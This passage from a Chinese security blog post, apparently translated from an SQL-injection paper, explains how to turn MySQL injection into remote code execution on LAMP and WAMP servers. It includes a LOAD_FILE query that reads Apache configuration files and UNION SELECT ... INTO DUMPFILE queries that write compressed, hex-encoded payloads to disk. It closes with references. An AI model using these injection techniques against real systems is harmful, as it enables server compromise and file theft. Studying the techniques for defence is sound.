<p>文件的大小必须要小于Apache配置文件中的max_allowd_packet的大小。再Apache配置文件中DocumentRoot指令包含了Apache WEB服</p>
<p>务器的主目录。</p>
<p>这里有一个用LOAD_FILE去读APACHE配置文件的例子，默认安装的Ubuntu Linux<br />
SELECT LOAD_FILE('/etc/apache2/sites-available/default')</p>
<p>7.最大的恶意代码运行的大小</p>
<p>Apache中的LimitRequestLine指令允许WEB服务器去削减HTTP请求的大小。这包含了所有的通过GET请求发送的请求信息，默认值是</p>
<p>8190Bytes。如果SQL注入再GET请求上同时这个恶意代码超过了这个大小的话，Apache WEB服务器将会回复一个HTTP 414的状态码。<br />
。</p>
<p>默认的Apache WEB服务器设置LimitRequestBody为2GB，这个是HTTP请求的body体中的大小。所以SQL注入发送到POST请求里面，可以</p>
<p>给恶意代码提供2G的发挥空间。</p>
<p>WEB应用防火墙可以去禁止打的请求。这个长的请求也可以是缓冲区溢出攻击。</p>
<p>8.恶意代码的压缩和解压缩。</p>
<p>PHP包含了一个zlib的模块可以去读和写gzip压缩文件。这个模块可以把一个恶意文件通过压缩成一个非常小的文件。Zlib模块可以</p>
<p>压缩我们的文件从9635字节到630字节。当压缩文件成功上传到WEB服务器上以后，gzuncompress过程可以反解码出这个文件。当然条</p>
<p>件还是Mysql数据库和Apahce WEB服务器再相同的机器上。</p>
<p>9.处理字段<br />
UNION字段将会联合从复合的SELECT语句中连接到一起。这两个查询必须有相同的字段数。<br />
例如<br />
SELECT name, add, content FROM data WHERE id=21 UNION SELECT NULL,NULL,<br />
0x8A789C....... INTO DUMPFILE ‘file’<br />
第一个的查询的结果将会加入到我们的文件中。我们再第五部分讲过，我们可以再WHERE字段插入任意不存在的值，所以再第一个查</p>
<p>询中是没有任意结果的。然而，由于再这个查询中需要额外的字段请求，任何坏的字符数据被加入到了我们的文件中。<br />
我们可以用一下方法查询<br />
SELECT name, add, content FROM data WHERE id=4444 UNION SELECT<br />
0x8A789C.........,0x00,0x00 INTO DUMPFILE ‘file’<br />
另外一种方式是SELECT name, add, content FROM data WHERE id=4444 UNION SELECT 0x8A,<br />
0x78,0x9CED......9EEC....... INTO DUMPFILE ‘file’</p>
<p>10. 再LAMP平台上进行远程代码执行漏洞。<br />
在LAMP平台上进行远程代码执行漏洞有一些限制，默认的mysql是以mysql用户启动的。恶意文件通过SELECT INTO DUMPFILE必须需要</p>
<p>Mysql用户有写权限。默认的上传的文件是不可以运行的，但是可以读的。文件属组是Mysql用户。PHP脚本可以读这个文件和写个相</p>
<p>同内容的新文件。这个文件创建所有者是www-data用户，PHP文件的权限可以通过运行PHP SYSTEM函数进行修改。</p>
<p>11.在WAMP平台上进行远程代码执行<br />
远程代码执行漏洞再WAMP上只有少数的限制。默认mysql是作为本地系统管理员用户登录的，默认的上传的PHP脚本可以添加用户，增</p>
<p>加服务器等操作。</p>
<p>参考：<br />
[1] LAMP</p>
<p>http://en.wikipedia.org/wiki/LAMP_(software_bundle)</p>
<p>[2] WAMP</p>
<p>http://en.wikipedia.org/wiki/WAMP</p>
<p>[3] St acked Quer i es</p>
<p>http://www.sqlinjectionwiki.com/Default.aspx?Page=Stacked%2</p>
<p>0Query&amp;AspxAutoDetectCookieSupport=1<br />
[4] MySQL 5.1 Ref e renc e Manual : Adding New<br />
Funct ions</p>
<p>http://dev.mysql.com/doc/refman/5.1/en/adding-functions.html</p>
<p>[5] Dat abase Hacke r ’ s Handbook</p>
<p>http://www.ngssoftware.com/press-releases/database-hackershandbook-</p>
<p>published/<br />
[6] Advanc ed SQL Inj e ct ion Exploi t at ion to Ope r at ing<br />
Sys t em Ful l Cont rol</p>
<p>http://www.blackhat.com/presentations/bh-europe-</p>
<p>09/Guimaraes/Blackhat-europe-09-Damele-SQLInjectionslides.<br />
pdf<br />
[7] MySQL 5.1 Ref e renc e Manual : INSERT Synt ax</p>
<p>http://dev.mysql.com/doc/refman/5.1/en/insert.html</p>
<p>[8] MySQL 5.1 Ref e renc e Manual : UPDATE Synt ax</p>
<p>http://dev.mysql.com/doc/refman/5.1/en/update.html</p>
<p>[9] MySQL 5.1 Ref e renc e Manual : SELECT Synt ax</p>
<p>http://dev.mysql.com/doc/refman/5.1/en/select.html</p>
<p>[10] MySQL 5.1 Ref er ence Manual : Pr ivi l eges<br />
Provided b y MySQL</p>
<p>http://dev.mysql.com/doc/refman/5.1/en/privilegesprovided.</p>
<p>html<br />
[11] MySQL 5.1 Ref er ence Manual : CREATE<br />
FUNCTION Syntax</p>
<p>http://dev.mysql.com/doc/refman/5.1/en/create-functionudf.</p>
<p>html<br />
[12] Shared Libra r y</p>
<p>http://en.wikipedia.org/wiki/Library_(computing)#Shared_librari</p>
<p>es<br />
[14] MySQL 5.1 Ref er ence Manual : UNION s ynt ax</p>
<p>http://dev.mysql.com/doc/refman/5.1/en/union.html</p>
<p>[15] PHP Sys t em Funct ion</p>
<p>http://ar.php.net/system</p>
<p>[16] MySQL 5.1 Ref er ence Manual : St r ing Funct ions</p>
<p>http://dev.mysql.com/doc/refman/5.1/en/string-functions.html</p>
<p>[17] Apache Core Fe atur es</p>
<p>http://httpd.apache.org/docs/2.1/mod/core.html#documentroot</p>
<p>[18] PHP Zl ib Funct ions</p>
<p>http://www.php.net/manual/en/ref.zlib.php</p>
<p>[19] PHP gz compr es s Funct ion</p>
<p>http://www.php.net/manual/en/function.gzcompress.php</p>
<p>[20] PHP gzuncompr es s Funct ion</p>
<p>http://www.php.net/manual/en/function.gzuncompress.php</p>
<p>[21] Adl er32 Che cksum</p>
<p>http://en.wikipedia.org/wiki/Adler-32</p>
<p>[22] RFC 1950</p>
<p>http://tools.ietf.org/html/rfc1950</p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2011年06月2日 -- <a href="http://www.4shell.org/archives/1935.html" title="Mysql安全">Mysql安全</a></li><li>2011年04月28日 -- <a href="http://www.4shell.org/archives/1897.html" title="MySQL.com和Sun.com到底是如何被黑的？">MySQL.com和Sun.com到底是如何被黑的？</a></li><li>2010年06月3日 -- <a href="http://www.4shell.org/archives/1766.html" title="Mysql另类盲注中的一些技巧">Mysql另类盲注中的一些技巧</a></li><li>2010年04月30日 -- <a href="http://www.4shell.org/archives/1745.html" title="MySQL监控快速指南">MySQL监控快速指南</a></li><li>2009年11月23日 -- <a href="http://www.4shell.org/archives/1173.html" title="MySQL安装详细图解">MySQL安装详细图解</a></li><li>2009年11月5日 -- <a href="http://www.4shell.org/archives/1156.html" title="MySQL导入数据库文件最大限制2048KB的修改解决办法">MySQL导入数据库文件最大限制2048KB的修改解决办法</a></li><li>2009年09月2日 -- <a href="http://www.4shell.org/archives/1083.html" title="MySQL数据库安全配置指南">MySQL数据库安全配置指南</a></li><li>2009年08月24日 -- <a href="http://www.4shell.org/archives/1043.html" title="关于MySQL权限">关于MySQL权限</a></li><li>2009年08月24日 -- <a href="http://www.4shell.org/archives/1040.html" title="MySQL优化 之 Discuz论坛优化">MySQL优化 之 Discuz论坛优化</a></li><li>2008年10月18日 -- <a href="http://www.4shell.org/archives/439.html" title="load_file()查看常用的一些配置文件">load_file()查看常用的一些配置文件</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/991.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

